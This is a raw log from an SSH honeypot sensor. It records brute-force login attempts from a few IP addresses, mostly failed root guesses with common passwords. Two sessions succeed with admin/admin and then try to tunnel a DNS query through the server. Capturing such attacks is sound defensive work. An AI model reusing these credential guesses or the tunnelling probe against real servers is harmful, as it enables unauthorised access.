{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":42842,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d8c62bf5ff","protocol":"ssh","message":"New connection: 181.123.136.11:42842 (10.17.0.5:22) [session: 11d8c62bf5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:51:37.409425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:51:37.421058Z","src_ip":"181.123.136.11","session":"11d8c62bf5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:51:37.601088Z","src_ip":"181.123.136.11","session":"11d8c62bf5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!23qweasd","message":"login attempt [root/!23qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:51:38.501935Z","src_ip":"181.123.136.11","session":"11d8c62bf5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:51:39.690015Z","src_ip":"181.123.136.11","session":"11d8c62bf5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":59026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64ddfc62e30","protocol":"ssh","message":"New connection: 201.217.12.57:59026 (10.17.0.5:22) [session: b64ddfc62e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:52:46.935025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:52:46.941183Z","src_ip":"201.217.12.57","session":"b64ddfc62e30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:52:47.121543Z","src_ip":"201.217.12.57","session":"b64ddfc62e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123321","message":"login attempt [root/root123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:52:47.851740Z","src_ip":"201.217.12.57","session":"b64ddfc62e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:52:49.038354Z","src_ip":"201.217.12.57","session":"b64ddfc62e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":57608,"dst_ip":"10.17.0.5","dst_port":22,"session":"0652b474573c","protocol":"ssh","message":"New connection: 181.123.136.11:57608 (10.17.0.5:22) [session: 0652b474573c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:53:55.470392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:53:55.475238Z","src_ip":"181.123.136.11","session":"0652b474573c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:53:55.651955Z","src_ip":"181.123.136.11","session":"0652b474573c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Password@123","message":"login attempt [developer/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:53:56.367718Z","src_ip":"181.123.136.11","session":"0652b474573c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:53:57.551323Z","src_ip":"181.123.136.11","session":"0652b474573c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22296,"dst_ip":"10.17.0.5","dst_port":22,"session":"62f0d57e061e","protocol":"ssh","message":"New connection: 87.251.64.176:22296 (10.17.0.5:22) [session: 62f0d57e061e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:06.453713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:06.459050Z","src_ip":"87.251.64.176","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:06.554987Z","src_ip":"87.251.64.176","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:06.842730Z","src_ip":"87.251.64.176","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:06.948055Z","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:07.045987Z","src_ip":"87.251.64.176","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:54:07.281885Z","src_ip":"87.251.64.176","session":"62f0d57e061e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":42654,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8535a205291","protocol":"ssh","message":"New connection: 181.123.136.11:42654 (10.17.0.5:22) [session: f8535a205291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:03.555027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:03.560979Z","src_ip":"181.123.136.11","session":"f8535a205291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:03.740082Z","src_ip":"181.123.136.11","session":"f8535a205291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123aa456","message":"login attempt [root/123aa456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:04.431757Z","src_ip":"181.123.136.11","session":"f8535a205291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:05.609303Z","src_ip":"181.123.136.11","session":"f8535a205291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38398,"dst_ip":"10.17.0.5","dst_port":22,"session":"2079f196c281","protocol":"ssh","message":"New connection: 193.32.162.145:38398 (10.17.0.5:22) [session: 2079f196c281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:06.701794Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:55:06.816124Z","src_ip":"193.32.162.145","session":"2079f196c281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13bdd654e78","protocol":"ssh","message":"New connection: 181.123.136.11:53934 (10.17.0.5:22) [session: e13bdd654e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:14.260450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:14.265841Z","src_ip":"181.123.136.11","session":"e13bdd654e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:14.451940Z","src_ip":"181.123.136.11","session":"e13bdd654e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZH@123456","message":"login attempt [root/ZH@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:15.340767Z","src_ip":"181.123.136.11","session":"e13bdd654e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:16.540823Z","src_ip":"181.123.136.11","session":"e13bdd654e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33906,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cd8a7dff2b2","protocol":"ssh","message":"New connection: 87.251.64.176:33906 (10.17.0.5:22) [session: 1cd8a7dff2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.179809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.184069Z","src_ip":"87.251.64.176","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.279684Z","src_ip":"87.251.64.176","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.567776Z","src_ip":"87.251.64.176","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.666137Z","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:32.767796Z","src_ip":"87.251.64.176","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:56:33.001676Z","src_ip":"87.251.64.176","session":"1cd8a7dff2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":50174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5911cbe7b5b","protocol":"ssh","message":"New connection: 181.123.136.11:50174 (10.17.0.5:22) [session: c5911cbe7b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:57:22.491157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:57:22.495542Z","src_ip":"181.123.136.11","session":"c5911cbe7b5b","protocol":"ssh"}
